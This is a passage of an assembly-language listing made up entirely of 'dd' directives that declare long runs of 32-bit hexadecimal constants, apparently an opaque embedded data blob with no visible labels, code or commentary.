		dd 7E7697CAh, 0E461EB4Dh, 0F054FD7Ah, 777E8A14h, 14CC2552h
		dd 8110FB0Fh, 4201A9C2h, 21BC448h, 737693B2h, 0DC9686E2h
		dd 2FAFD207h, 0BC7A7980h, 9628871Ah, 1B90C74h, 6B7920ECh
		dd 50289D68h, 83B8EDE1h, 554B7C40h, 289357BFh, 25040B3Dh
		dd 8790FEDCh, 83BE546Ch, 59313544h, 98163824h, 65D10421h
		dd 99E0AC21h, 13CA5F7h,	5650DF22h, 6780248Ch, 6DF00090h
		dd 0B13608C2h, 74E0412Ch, 0C5B64089h, 58F8BC08h, 2C30603Dh
		dd 0DFEB4928h, 0A4948292h, 0B8DAC30Ch, 5CCB299Ch, 3E05CD72h
		dd 72872DCDh, 4561F850h, 0AB31849Ah, 480BC1Fh, 56B6EB5Dh
		dd 7B7644E1h, 0A42B5479h, 161B038Bh, 4688DE4Eh,	45D5FEA0h
		dd 5B035EF0h, 967EDA0Bh, 0C9DEA002h, 3E201ECFh,	0D68CC181h
		dd 32F12D72h, 0BF0BC470h, 837AC2C2h, 0E1F6BFCh,	0AF0D3E60h
		dd 1FA0BEC7h, 0C11FFC54h, 0C43A0E41h, 0D9155E82h, 0D8A67960h
		dd 0D414D5E9h, 7103FEEDh, 0C07EEFE2h, 0B5801DCAh, 48033CCCh
		dd 0FA5E1EFDh, 9C3A5078h, 5730787Ah, 0E33D20D0h, 343E091Eh
		dd 0B80D2693h, 0F523E030h, 8974D4A1h, 8DB7EC0h,	3B58ACA0h
		dd 60422EFh, 6CD14B14h,	6E6F1894h, 0C6702408h, 0C8CD2030h
		dd 8C23B31h, 0FC30FF1Eh, 12E5760Dh, 38C33F7Eh, 94182ECCh
		dd 2B61197Ah, 0BCAD5009h, 0C4435078h, 0D9D50561h, 685793Eh
		dd 8A1719Ch, 0E8887530h, 0E429BF1h, 20C980FEh, 0A2050487h
		dd 4440869Eh, 23E94896h, 0A9CA80B8h, 8074336Ch,	39511E0Bh
		dd 0BEE180D0h, 7ED9FF4Ah, 0EFC40EE3h, 1E4379FEh, 8CC9929Eh
		dd 800C32B6h, 47A9E04Dh, 336C9286h, 40486D35h, 16FE081Ch
		dd 399E127Ch, 0DDC63040h, 6360BED9h, 0E58768DBh, 0D811C3C7h
		dd 80979EE1h, 6DA6DE80h, 631FBEF0h, 0F42E20D3h,	208C0837h
		dd 0DA0AE0CEh, 0E904651Eh, 0C0F0ABF0h, 0DBCA4A18h, 29C60D7Eh
		dd 3A200F69h, 3E1801CEh, 599E784Eh, 5EEB1207h, 1E42AB88h
		dd 86E88F7Ah, 3C783713h, 1F7C6A1Dh, 0EEB1A2Eh, 0C9F40ADh
		dd 2082764h, 35184460h,	6ADEF022h, 1E0C4084h, 533E0C69h
		dd 6BFA7E18h, 6C1508C4h, 5E20350Ch, 2424E1DDh, 328FE86h
		dd 837B7C38h, 881A02F3h, 0C32068A2h, 92F00348h,	295ED9E7h
		dd 0E8FF3078h, 0E261FEEBh, 1D137E20h, 958E1087h, 0A3FAE221h
		dd 863B1840h, 84EFDEE8h, 0A1107E08h, 0A001B909h, 21A4411Eh
		dd 429CEC30h, 8D6F18F8h, 0FFDEEF90h, 8DBE80Ch, 1F323EAFh
		dd 0E3FAFF20h, 0CCD511C0h, 0B17E41h, 35BEEDA2h,	10DEEFC5h
		dd 2DF8BB74h, 91B83850h, 3E3FC77Ch, 12EA3CC9h, 0D806CB0Ch
		dd 3228BAA6h, 7B500FBEh, 36A23C43h, 0D656D840h,	9DEEF474h
		dd 671610C4h, 0DC2C4885h, 64BD08BAh, 0CB0574D2h, 9809FEF9h
		dd 1E08029Dh, 44CC8F86h, 1081F27Dh, 0B420F14Eh,	19349057h
		dd 30D8587Eh, 0F324214Bh, 0B4A320CEh, 53BE081Eh, 40CF10F2h
		dd 64EE3E40h, 809338F0h, 6FDCDE34h, 44492490h, 76201230h
		dd 36F31804h, 37251081h, 6CB3808Dh, 2C43EAB8h, 0FC8FCFE2h
		dd 38019A89h, 8A25B67Eh, 0F421D718h, 868DC0Ch, 2424922Dh
		dd 1B106E44h, 5BA1D048h, 7C088070h, 0FB9EEFFCh,	6088C66Bh
		dd 9040186Ah, 0C369FAFEh, 0DA6C7B10h, 0D1361BE1h, 0F893465Eh
		dd 73B18F64h, 7B1E1081h, 489E4030h, 3E0C1016h, 0EA08AF1Ch
		dd 9131E49Ah, 0F1CF2874h, 98367C30h, 0A660A0E8h, 7F5E7C42h
		dd 906FF0DFh, 92BE7C5Fh, 0A5FC241Ch, 4361314h, 0C073FEA0h
		dd 0C60E7E64h, 93C0A0B1h, 406FF977h, 3F26AB87h,	8412C43Ch
		dd 0E9E7801h, 0A8628D02h, 934521C3h, 8B2039DEh,	0F9BE244Ch
		dd 9759807Ch, 2E8E7E21h, 0B064875Ch, 0ED25C84h,	0B692656Bh
		dd 5E40498Ch, 830434ACh, 8B70C6B4h, 0C0DA4B04h,	47ED3EA8h
		dd 0A7E7EE8h, 0A23108C9h, 4DDF674h, 0F18A44EDh,	6B883508h
		dd 105318D3h, 3890D41Eh, 0F360DEF8h, 0DC96B918h, 0D45C587Eh
		dd 7424FC41h, 71024055h, 9E10337Ch, 5F10AB88h, 75E41212h
		dd 0AF7C3009h, 0C0107178h, 23911069h, 10427C10h, 511024C3h
		dd 2EA41041h, 0E3204322h, 378A2068h, 0C9040144h, 74A6A411h
		dd 5B4C09A5h, 7FE0C5Ch,	69523806h, 74222969h, 37073396h
		dd 0B088F83Ch, 0C43FF0E4h, 0D04ADE08h, 1FAEAD6Ch, 40D0FE3Ah
		dd 378CB039h, 0C2209F9Eh, 0EC8694E9h, 3E2C08E5h, 0AC8994F4h
		dd 127C8F84h, 610C6C1Fh, 40131068h, 749034AFh, 0A1265E18h
		dd 0C979F658h, 98A24B20h, 0A3017469h, 0FC4642A2h, 9BDE13A6h
		dd 2E580DDCh, 0CD8460A8h, 0D831207Dh, 332210E2h, 0E0396089h
		dd 0DDBE8803h, 18703030h, 90E7ACDEh, 380869A0h,	0A80F1809h
		dd 81CE5604h, 0F0C8BFA8h, 8CFE19Eh, 2B9AF3Eh, 1CC485Eh
		dd 0E12697A7h, 0DE1880D0h, 0F6872AA2h, 8CE60BF2h, 7CA02516h
		dd 0BEF121A6h, 1623AE3Ah, 0E800F03Eh, 0E8112B1Eh, 0B8BFE8FEh
		dd 0CF54B88h, 1711812Ch, 0B631B47Ch, 9AD6098Fh,	0D9B0D82Ch
		dd 0B24915F8h, 0D02B26B8h, 508F053h, 0A86748C5h, 10260B17h
		dd 0AA3A9014h, 0E0656658h, 131C607Eh, 71206F36h, 94EB2E66h
		dd 0A57E05C4h, 2584C795h, 27DC0D02h, 0A0E428E8h, 49C466A3h
		dd 0CB17E437h, 0DE480280h, 9882D03Dh, 8C850379h, 7EA4C01Eh
		dd 94969AB3h, 318AFC58h, 0AB892732h, 0DEC0883Dh, 0FE49321h
		dd 0AB67E6Ch, 0C0449EA4h, 3A682DFEh, 408B6940h,	0ACB9BE8Ah
		dd 482F9840h, 6B69C481h, 0D08D205h, 402A5E02h, 0BADDFE90h
		dd 0D03648A8h, 9D1DE12h, 1C427E6Ch, 7CA43FC2h, 988C8630h
		dd 5BF008B0h, 0D2F1ECB0h, 0D73E08E0h, 2B9E18C2h, 0E3146036h
		dd 6EF0E935h, 0BEEA1CD2h, 16DC6CB3h, 9D41EBDh, 0CC04D632h
		dd 5EFCC0EDh, 6890E60Ah, 8D0F5B03h, 0A50ECC76h,	4CBA02Ch
		dd 0A9D1F4E9h, 0C594C2B6h
		dd 0C0DE5CE0h, 0BE8A090h, 50429A36h, 0C750F208h, 79D93019h
		dd 8E080C16h, 86BC0DBAh, 20224A2Bh, 4298AA48h, 0B8DAC0C0h
		dd 0BD87640h, 240BAEE9h, 601EA805h, 0C674B414h,	0EBA95062h
		dd 0DEA08736h, 0BBA4A48Bh, 643ED481h, 382291F1h, 0DB88DDC1h
		dd 0CB698CD3h, 247E30A9h, 702C9DC5h, 0AC30A8E2h, 1F2F7003h
		dd 0BFBC0127h, 0C357F14Dh, 0F241F02Dh, 14CA0D00h, 0DDBA4E35h
		dd 48344CFEh, 6AFF3001h, 0FD6DBFBBh, 0A014484Fh, 33805E08h
		dd 0C3DF1E52h, 0D4EDC024h, 0F3ADC2C8h, 4D015574h, 0E59E250Bh
		dd 45D024C6h, 0F23D0ABEh, 602889EDh, 598B34D4h,	1FBF79C3h
		dd 0AAAD98C5h, 310DEEB8h, 98B8CAA2h, 0E21887C1h, 0BEC3DF63h
		dd 59081E6Fh, 5223E64h,	2D182C60h, 0F8FE8DCFh, 0BFF81C1Ch
		dd 0C02ECFEDh, 10F7191Fh, 2D0887E8h, 6DC12661h,	4DD0280Fh
		dd 4E0D8043h, 2D18257Ch, 0BDD05171h, 0ABF1E953h, 0B0ED089Eh
		dd 51FD8D20h, 0EB3BDF78h, 446D0190h, 8B4DFE65h,	898D0883h
		dd 6FA1DF68h, 7B909867h, 612E0D10h, 83020852h, 81DAE3FDh
		dd 0E5072A05h, 0FC50666Dh, 18F73E2Dh, 28198DFBh, 0C78357EDh
		dd 0ADFC2C90h, 372B747Eh, 0C608C84Dh, 0D031848h, 0CDC01922h
		dd 74B119DEh, 0BCCFC056h, 0D4F92A28h, 8D08C062h, 76CD03F5h
		dd 40482937h, 0E05F5743h, 1031856Dh, 12ADFDh, 0FBF6E8CDh
		dd 0CD2E3A0Dh, 0D1A85580h, 201EC375h, 0AD08FAB7h, 0C6D0A3Bh
		dd 812D0690h, 0AF33E079h, 72B4C88Fh, 48C32484h,	18340A24h
		dd 5EBE0CACh, 49636F78h, 30542520h, 0AD18E710h,	0E0C81513h
		dd 3C313E35h, 0ECF62DA8h, 84B08DBFh, 0F4E59800h, 23A59E26h
		dd 87D0F16Ah, 6F45F83Dh, 3A862057h, 0C824108Ch,	77C34C4Eh
		dd 4C6C54FEh, 8886489Fh, 0E144D2Bh, 6580B602h, 7F30714Fh
		dd 0AD5C20EFh, 414CB53h, 0A7C42E74h, 0BE965F42h, 9108041Ch
		dd 368A3Ah, 4873743Fh, 0A19E3A7Fh, 122FF17h, 0FC235E21h
		dd 1B08ECBCh, 3E64BE00h, 0A8AFB868h, 3F671844h,	1FDF08A4h
		dd 5F1F1778h, 483040A7h, 6DE7533h, 5E73E251h, 0E03E119Ah
		dd 96007F32h, 9D5F47F2h, 7F4B3Bh, 57101A91h, 0B7193F83h
		dd 1708A964h, 0F7C53087h, 0BF0F4861h, 0A53BC4h,	9A8FB867h
		dd 7DBE764Ch, 0FE0414A6h, 0DFB3F7C7h, 41E56F03h, 302FB031h
		dd 0C0865EDEh, 90D7FEBFh, 4A45B004h, 170694FFh,	333A5134h
		dd 0E03E0AE8h, 0A54030F5h, 40A76F5Ch, 80E34FA6h, 0D5511F50h
		dd 74429F47h, 2ABF03DAh, 0D61E73E3h, 8AF6131h, 844083DFh
		dd 10A589Fh, 313C3F48h,	4C407719h, 0B915D334h, 0C05B65h
		dd 6716D42Fh, 1C08BF9Fh, 280B1F48h, 22DD02E0h, 234E7710h
		dd 408CA883h, 8C21C82Bh, 42BE58Fh, 0F02F5B8h, 8B034FDCh
		dd 2E582850h, 0A8B75280h, 84402D80h, 88C63AE2h,	703001EFh
		dd 0BF08C65Fh, 0BCE88829h, 98DC6853h, 0CACACB40h, 0C030CF79h
		dd 5F1497D8h, 9AAF21C4h, 1F662C93h, 63E657C8h, 0E7067016h
		dd 33903D46h, 0DF30998Fh, 0C91037C1h, 0EE641CE0h, 6F4844CAh
		dd 5FEE09F0h, 0D67424h,	4A468A3Dh, 0F3C14CBFh, 39C5A258h
		dd 694F388Ah, 39F01D8h,	6E5F4A3Ah, 0ACDF7CA0h, 0EA370C78h
		dd 2F7147E7h, 341F8E40h, 280877B7h, 0B67046CCh,	0F69FE63h
		dd 0DF300D1Bh, 0AA8A196h, 0D6A60680h, 1031EE75h, 3408B2EFh
		dd 41C6D0A9h, 21FF12D0h, 883010ACh, 27497AA0h, 3038D220h
		dd 0B77169CFh, 0FF0947F4h, 161A3E32h, 87330420h, 2EB6AD5h
		dd 9C0E17AFh, 3FE30C80h, 8F612586h, 1419D545h, 44C250FCh
		dd 60156F93h, 0C1786745h, 5A93DC81h, 4F1024h, 3E75375Bh
		dd 59C8DF18h, 741E39E4h, 0DE5D4701h, 11624180h,	1EA8BFAh
		dd 65E488Fh, 8C4B8D1Ch,	99CB930h, 588E40F5h, 99296B7Ch
		dd 4F822040h, 223623C3h, 790357ADh, 0AC3874EDh,	0C7E70438h
		dd 70E96ECh, 0AC6122CDh, 0AED4B779h, 18045339h,	486EAD1Ch
		dd 0ED0A09F8h, 2611093h, 0AED4BD5h, 92650D00h, 12D9AC00h
		dd 3159AE25h, 99AB0CBBh, 9C08BABEh, 0D937287Ch,	8040188Ch
		dd 606173D3h, 6D19582Dh, 591ED747h, 0D91F157Ch,	0E6181498h
		dd 43CA416h, 0D42902A4h, 4B2D060Dh, 10993058h, 23D9B908h
		dd 0E0A10C0h, 0C0614174h, 6A401409h, 12066E22h,	3C2DB9DEh
		dd 70C56958h, 7DF7F101h, 0F37458E1h, 0E5912018h, 0C6A64D71h
		dd 0C84EB960h, 80B4F952h, 5DF7D740h, 0F319006Dh, 8269BBC6h
		dd 207B038h, 0B39BB78Bh, 0BCA5D7A0h, 3C1B38EEh,	31C13498h
		dd 30573A6h, 0B2A4778Bh, 0E0E71420h, 3C512093h,	585F8630h
		dd 140585B8h, 18DB978Bh, 0CD704EC1h, 0EB6610C0h, 0B8812BCCh
		dd 0CF6F0140h, 746280h,	2106F746h, 8440578Bh, 88FB1DCBh
		dd 8524026h, 984E8054h,	83612A15h, 81CE4C1Eh, 8C1650ABh
		dd 51608AECh, 8AF9FFE6h, 0B5FAF711h, 9D809A81h,	0C6A1815Fh
		dd 178B0728h, 83D2858h,	6FB5E42Dh, 0CE48A605h, 0B07828h
		dd 7397CB4Ch, 7629A3B6h, 3832CF00h, 98639BC0h, 0AE9500C1h
		dd 0F119E0D4h, 28C0741Ch, 3D843409h, 6FF47D7h, 5B564BFAh
		dd 18E91C51h, 2DBC47C2h, 0C31C50D3h, 5C1DF5ADh,	7C00B057h
		dd 0DCF47ACAh, 98AC7C9Dh, 289C5221h, 48CA8E1Ch,	0C9006053h
		dd 3863AB9Ah, 0C2D8074Eh, 2EE9F27Ch, 10D66086h,	0CD10B206h
		dd 302086BCh, 3C18D01Ch, 0F578AB62h, 0F6097A66h, 0D2FC2988h
		dd 0E6D08160h, 236FB9Ah, 3DD640A9h, 874AC57h, 5E271F1Bh
		dd 0AF328986h, 143F53D0h, 0D8959A3Eh, 69189C31h, 0C01C28F9h
		dd 0DBCF0C8Eh, 49511EEBh, 0F782B004h, 6F733C9Ch, 48B66C89h
		dd 0D972F2D8h, 1C043CAEh, 72D333F8h, 28780906h,	88FD5C01h
		dd 83CEBCF7h, 1572FCD0h, 481863A0h, 0BFB68580h,	0E9807101h
		dd 1C98A0E7h, 82EC14C1h, 0E3A08813h, 2920835Ch,	0B5C92A38h
		dd 0D77915B0h, 0D6C178C2h, 8513B322h, 6C4BA9A1h, 18E77828h
		dd 29CE343Ah, 0A71C6589h, 0FCA85863h, 0A2C3C56h, 5C32BA74h
		dd 4CA6909h, 2C8AB828h,	391A9B06h, 49052902h, 7863AA22h
		dd 36A428h, 76396D6Ah, 5929AAF1h, 0D863A914h, 7311A080h
		dd 7588324Fh, 0F3600928h, 14AC5860h, 5FCC6808h,	0D2E98D62h
		dd 3FB84B98h, 16780CA0h, 50C9283Ch, 6FD8D410h, 1A50809h
		dd 7C44289Dh, 44C82B3Ah, 0B8B944A9h, 0DD808C2h,	474949Bh
		dd 274A3415h, 78890103h, 0C84BC2BCh, 0A2D62203h, 280946A7h
		dd 3DC8469h, 0A0DEDF40h, 91B0721Ch, 462C0ACh, 8FE785BFh
		dd 526F4938h, 1EFC9809h, 0E1CF0A28h, 0C08CCD3h,	73209471h
		dd 7C9009C1h, 43E3973Dh, 0EB800419h, 49085F79h,	0F45E700h
		dd 1CE57DC9h, 60FDE415h, 911420F4h, 0E103B023h,	0BE78E376h
		dd 0CB42B710h, 16FE0018h, 83004E24h, 0CEC89CC4h, 98DB8Bh
		dd 0EE8637D3h, 0CDBBD0D2h, 0AD0AD100h, 14DEF0FDh, 1C330053h
		dd 0D2E7ABDh, 0F40783B6h, 15F70A06h, 4971E1B7h,	0F9D86533h
		dd 0A4FF4430h, 706FC900h, 162168BCh, 75A20003h,	269CF1FAh
		dd 1700E67Dh, 7129AB0h,	580E31F4h, 0EA002C78h, 0FD46B959h
		dd 0E77483E1h, 0C1E80403h, 80AAC2h, 2F38BA20h, 0C389AD0Eh
		dd 0FD418200h, 52051751h, 31B0C264h, 0F140727Bh, 0C765D3E7h
		dd 9460A0C0h, 74E95750h, 0E24302h, 79EA0F16h, 231589h
		dd 0CEFF752Dh, 3BF3F945h, 8501D9C0h, 266EA0h, 142BCC31h
		dd 0BC160CFFh, 22397A0Ah, 0EC4290B7h, 0A105554Ch, 3990317Bh
		dd 87AF0284h, 0B120F3A0h
		dd 7A94D448h, 92FC9Ch, 6656C5A0h, 4C832F8Eh, 87CF2200h
		dd 2A7E5017h, 0A18B0684h, 0D88FF6ABh, 0BA03C246h, 0A002DF30h
		dd 457DCAh, 575FA300h, 33BF38h,	6434D6Ah, 50F48011h, 7F3A167Fh
		dd 793C68h, 727D0E6h, 3858174Dh, 59BA93DAh, 1421F730h
		dd 9A0027C3h, 0E4B4EF4Eh, 3F716B26h, 0CD4C90DBh, 77A40A28h
		dd 30E9632Ch, 27D0B906h, 55033D30h, 74C0442Fh, 40EDF009h
		dd 8E3E00D9h, 439237F1h, 0FE0094C9h, 48D3AE65h,	0A0BB41EBh
		dd 1DFB9D4h, 0F4023DCBh, 2279CF7Fh, 2F8F0018h, 0C693EFBFh
		dd 0AF4484C2h, 325E3AA4h, 9F741980h, 0FA0B6BCBh, 7E8D5800h
		dd 97CF319Ch, 1C90AFh, 0B6A1B03Eh, 0B367632Bh, 0D11FD60Ch
		dd 4910B5h, 0CA188E17h,	0B4A217Dh, 2CB3CF1Eh, 20A1E44Eh
		dd 8D2E5F0Dh, 526890AAh, 0C0005024h, 42EC2346h,	0E1D5DFEh
		dd 1000C641h, 9D750B03h, 4D340091h, 5B6CED23h, 40ECC6Bh
		dd 2066427Bh, 8FF44FC4h, 3A840026h, 5D8D2827h, 0EC00950Bh
		dd 0C67E93E5h, 0CFA38E3h, 603550C7h, 57004E21h,	7C7EC594h
		dd 9B95D3h, 4BB4A467h, 2B7B3786h, 216F8300h, 0F954263Fh
		dd 7456F074h, 47113ABDh, 0FCA0B106h, 6000087Fh,	0CBA1C887h
		dd 0ED6F84h, 0EB0C6D80h, 2F5FD539h, 0B51EB1B0h,	503A3E1Ch
		dd 0C80055A1h, 0E36CD04Ch, 67019880h, 806508E1h, 0E53BBE7h
		dd 0AE279607h, 6600DB39h, 0B480A67h, 7A5558D5h,	68EBED80h
		dd 380093EDh, 0A7E6D287h, 4CA459A3h, 0D700607Dh, 42309E4Fh
		dd 587980F8h, 0BF76FD00h, 98C58B15h, 5BE700F6h,	970C9E4Eh
		dd 0E618DF51h, 0D08B401h, 2420CB99h, 0A190203h,	4969FCB8h
		dd 8DBAF103h, 0C9A36833h, 0B19D561Ch, 44B806F4h, 8A00110Ah
		dd 0F00C9604h, 319EC71Ah, 15080E37h, 0C5208042h, 7A0695B4h
		dd 0E2D300EBh, 0ACD28628h, 59FA8D07h, 1A810F0Fh, 0BE7C0326h
		dd 86B062C6h, 66E1D21Bh, 0B070E130h, 45D9F058h,	3AEB0074h
		dd 0A73DFFB9h, 820E0525h, 0C02088CAh, 0E8090670h, 2C50080h
		dd 96AABBF2h, 4E14135Bh, 1CC5AE0h, 0D4C22B74h, 2080F1DBh
		dd 415D6529h, 8700C1E1h, 357AED6Bh, 288555D7h, 15C0BCD2h
		dd 0A819C0ACh, 58A2F281h, 0BC30D24Dh, 0B9D080B0h, 0ED9E9D09h
		dd 0F6D8030h, 3AAADCFh,	0DBFB6853h, 37932BE2h, 0FA430DDh
		dd 0A123B196h, 7431119h, 5896136Ah, 74441D00h, 0C290002Eh
		dd 0D4BFE6EAh, 880035C7h, 6B8D021Ch, 68E35298h,	4A8E1ABh
		dd 0FA285BEh, 0D110B842h, 0F003802Ah, 3DA62800h, 0A2395D90h
		dd 73C100F4h, 48A701E8h, 3092BCECh, 5655F212h, 0EE2C1843h
		dd 17F5C820h, 59FD64C7h, 0C90C9811h, 0EF4B9504h, 9B33C6E2h
		dd 0BDB82101h, 0CB31D395h, 512CF0h, 6D29750h, 5C1544EDh
		dd 8A88A101h, 0CA8C3F5Bh, 613CC882h, 9700E858h,	0F8EBAF54h
		dd 0ABA900FEh, 0D87D2889h, 614C0DB3h, 14DF0315h, 0C13A47C1h
		dd 9020DA98h, 9CA250A4h, 79909177h, 521847h, 38B7BBC3h
		dd 43C1D16Eh, 8BE18405h, 800873C4h, 95E2C0B6h, 36F2EFAAh
		dd 0BF628C91h, 0B040F71Ah, 52009BFBh, 786FCC23h, 24E80826h
		dd 6060C6D6h, 0E0301351h, 990F2A21h, 0CCCF2188h, 0DD39C185h
		dd 4D3E80BDh, 0F3A36AA6h, 7D021C0Bh, 3668806Eh,	568CFAF9h
		dd 0FDE6CD00h, 8A723410h, 8458E1BFh, 53A208EFh,	92C27A4Dh
		dd 170500BBh, 9400109Dh, 59E8AF8Ah, 3961EFh, 3AAB2B6h
		dd 45D40C6Fh, 0E3249572h, 0DC370CDh, 0C9A1A896h, 0AC2086C6h
		dd 119C00F6h, 769D6096h, 570A4CB2h, 0FCC9BECDh,	6C36E704h
		dd 0BF89EC81h, 58508AC5h, 0A4EA95Ch, 0EBEE424Dh, 3A853DCh
		dd 0D0055A3h, 0B27CE22Ch, 6087945Bh, 0DA0859B5h, 560012BBh
		dd 51681CC0h, 0ECEAD8h,	0C388E0F4h, 0AF13F7FBh,	940B4B24h
		dd 23BC7660h, 0B6E731CAh, 0C4D3C748h, 0D6035CFAh, 0B072BF6Ah
		dd 0EE7AA165h, 23122080h, 0C72C18D4h, 0C94E4600h, 0D24285EDh
		dd 13063889h, 0BBD1F7B0h, 8200E38Fh, 9C9755Ah, 1599B37h
		dd 20072B23h, 5006E4BFh, 9A0518A8h, 0CD28B000h,	0A7382335h
		dd 9E8C0A16h, 19BCB840h, 18C8A88Dh, 5E90488h, 329DAE50h
		dd 81012079h, 640EA7D2h, 7EFBB944h, 0D8175741h,	203026E7h
		dd 47C581Ch, 0F6C062C8h, 46A1D692h, 58763E11h, 17BAC074h
		dd 26F5235Dh, 844FC02h,	9709B705h, 5F58A0CCh, 2DD25E7h
		dd 0DA9EEF6h, 0EC60220Ch, 0D1018558h, 8EC28C1Eh, 31837BDFh
		dd 732CBEF6h, 7FC16912h, 1EAE8C40h, 7B896Ch, 791FDCB1h
		dd 0C2C42115h, 0C0FDDB00h, 0C980401Dh, 99E11242h, 2C6BADh
		dd 0DC4C2BD5h, 6989A3Ah, 0C58F0A41h, 6B0099D7h,	0A7CE2B55h
		dd 125FA01h, 857FD5E0h,	24B13EF2h, 4F0EA840h, 47FCF957h
		dd 0CBF3458Dh, 2AC00FC3h, 0DDAC1FA2h, 420029D9h, 0C2D2B30Bh
		dd 269BB6F1h, 808C8DC0h, 0A216EFECh, 63033B06h,	78D56242h
		dd 20CF87A4h, 4BF2CF7Ch, 4EB498Bh, 7744E000h, 0F48E0864h
		dd 1C3F0A00h, 0E2C28D05h, 2C540130h, 0EFB7CBA7h, 68F18029h
		dd 49578045h, 6140003Bh, 0F4D13EAh, 0E41DABB4h,	7C80FA5Ah
		dd 9ADDA3C4h, 5C013F4Ch, 0A438EF0Ch, 9500E540h,	0DC540BA5h
		dd 3C0C45h, 0A0D0539Ah,	9B215A71h, 808D090Ch, 0C2313Ah
		dd 5F9DAB57h, 7C7584A8h, 0FB13E0E8h, 0E003769Ch, 8B882A08h
		dd 44F0F0CDh, 0ABA10042h, 0B8E83354h, 9F283A72h, 0FA12A416h
		dd 7043D0F0h, 938D95Ch,	0C99773E8h, 0E1901420h,	880094A0h
		dd 0EAD54A69h, 70FD496h, 8F05DF9Eh, 4D396014h, 523073E0h
		dd 0FCF8803Eh, 0BBEE0056h, 9CB8940Bh, 0DF00D414h, 986644D7h
		dd 0F6DA7B57h, 1EEEE662h, 6E4F8DEh, 187A0194h, 9FFA0C00h
		dd 0D8F07D9Dh, 60AE0F07h, 0C34065CEh, 708F8AB0h, 38E1D330h
		dd 3EC9013Fh, 1A00CC4Dh, 92149B04h, 0C530DA7Dh,	540D5184h
		dd 0B5930E6Fh, 0C0BFD902h, 3EFC9688h, 82037695h, 7124E4BBh
		dd 3634F8D5h, 9D90C709h, 8FA3F058h, 0A80351ABh,	225E28C7h
		dd 320763Ah, 0DBA515BBh, 6800509Ch, 0CEADB1D3h,	3EF7E3h
		dd 0A3FBCD64h, 0C9A0F3A1h, 86C59C0Ch, 0AA90D9h,	0A8022980h
		dd 4AE46215h, 40E89F00h, 0ACE27FBFh, 0FB6400A5h, 4F5106A1h
		dd 0F7006D24h, 76A6528Eh, 179D92h, 640C7E01h, 480A2CE0h
		dd 8EEA0B00h, 0AE204951h, 80970043h, 0E4BEE3ECh, 5B5859BBh
		dd 0E90100A7h, 8346BD31h, 0B8F400F3h, 8410D59Fh, 790034CFh
		dd 33A1F6E6h, 0C1FD49h,	0D7666CCEh, 0DA271A28h,	91F99700h
		dd 1B9D55D3h, 73920064h, 0ECEDC86Ah, 1777AEA5h,	0AF213000h
		dd 6D332DC3h, 1CE700BDh, 998D725Bh, 0AC1D1898h,	0F99DCCFCh
		dd 0D9FDD8C7h, 7EE8B891h, 0F5438C40h, 9BF6006Ah, 5D72F8E4h
		dd 540370B3h, 0BC4128F2h, 1B7E80B0h, 7950B507h,	0B94F9300h
		dd 9910FB8h, 0CE903A82h, 6F597E80h, 5B83B5F7h, 708B39h
		dd 8038E702h, 0C6D2E2h,	122A5E42h, 2693C815h, 7D76FD71h
		dd 0F8C40525h, 25FF2896h, 591E01F6h, 32CA2FAh, 0ACCDC85Ah
		dd 0FE9C8A0h, 0F501677Ah, 2F3B7DDFh, 6870112Ch,	76680F6Eh
		dd 1AC0D5B6h, 0AC5A489Bh, 3D13B400h, 7E6FC05Fh,	0CE710704h
		dd 90318581h, 645175EDh, 37EAC850h, 6CD54007h, 0E1306991h
		dd 0C3310Dh, 4AC2E5Dh, 4AA27AEDh, 52EEE800h, 5B950FAh
		dd 809250E4h, 80C7018Bh, 8A8D5F7Dh, 4F383067h, 6FE11502h
		dd 5F5ABDC8h, 7506ACC0h, 0F2A45603h, 78202Bh, 0B7534BC9h
		dd 0F44E9830h
		dd 802D403Dh, 27A8FD54h, 1E0C7A5Dh, 402A5CF3h, 3F1ABE76h
		dd 380E8912h, 36D4EE1Dh, 0C6D2870Ah, 9FFC8F3Fh,	0F806801Ch
		dd 735EB714h, 0C40E034Dh, 0FBD4CF09h, 0D081B2A1h, 0EA2EDDA5h
		dd 0F0009850h, 176D263Bh, 0D8BF000Ch, 906FE775h, 0EC03B4D5h
		dd 476740FEh, 8145A036h, 0AC1928E5h, 8AE0FFFAh,	0C97C13A8h
		dd 1C6800F4h, 0A61AB340h, 0E434DA18h, 5F44D8h, 0D7CAAFAEh
		dd 91AA97C9h, 0DF3E9378h, 7BCF005Eh, 77E4B69Ah,	0B942001Bh
		dd 0E225FE26h, 0EF504EFDh, 0FFE0BEB0h, 80794739h, 302608F6h
		dd 9AD1B2h, 68A17890h, 751A0D48h, 0C4024700h, 193C61Dh
		dd 88EF004Ch, 0AA76942Ah, 0B40F6B3Dh, 60756D68h, 0FBBDED2Dh
		dd 9ABE005Ah, 18295299h, 373CD1E3h, 2E978046h, 191F126Bh
		dd 4EE40CADh, 8520322Fh, 0EB6F791Ch, 93F58C41h,	61EC1B56h
		dd 893800DDh, 2CDB952Eh, 0E00220Dh, 6FEE7E8Fh, 5101C2h
		dd 87643BCBh, 0E604A039h, 1411558h, 0DDC224A7h,	86E19E48h
		dd 0E207B0E8h, 705D0023h, 0AD9AFFDAh, 4603BF02h, 1B243163h
		dd 81DFB879h, 0A95E00ACh, 70A15CBCh, 0F83F6253h, 753400BAh
		dd 0F64DAE91h, 469800A2h, 20D94F18h, 0FB00E945h, 1DE7E0BDh
		dd 49505B43h, 1000E430h, 99C40135h, 7A0092EDh, 3280FA8Dh
		dd 625B6Bh, 3F422D9Ah, 0DF6FE5FEh, 0D1658C00h, 0CE485E15h
		dd 9509006Bh, 4ED63369h, 3F3E7085h, 0C0082C76h,	0D7E03703h
		dd 9A9EA07Ah, 20CB0031h, 4F69710Bh, 3C38B1E9h, 3AEA4FFh
		dd 32B8A900h, 7D7BF170h, 4C7F0176h, 89C7143Fh, 0FCD8D1FBh
		dd 6949A9E6h, 6EDE0EA0h, 0F6E22297h, 3FB840BFh,	0A40912A8h
		dd 0B5C04FFBh, 92895300h, 0AB2E31F7h, 8401B03Ch, 9D040ADCh
		dd 183A2C60h, 306D4DB4h, 0AF3AFC37h, 0A2777048h, 0E5B70D00h
		dd 0B9934A41h, 8E9B0098h, 0EE26FC92h, 590A2CC3h, 0DA0C3345h
		dd 0E6005028h, 0D5C57017h, 0BE3A9Eh, 0B0D9A858h, 0C8882756h
		dd 3D03C8C0h, 729F11h, 2950AA5h, 3AE96A57h, 0B6388503h
		dd 0B9EE50D9h, 26C8D2A2h, 82E63D78h, 4102E1Dh, 801D8C13h
		dd 8064FED4h, 0C113400h, 5ADD63C1h, 72F00EF8h, 45804BAAh
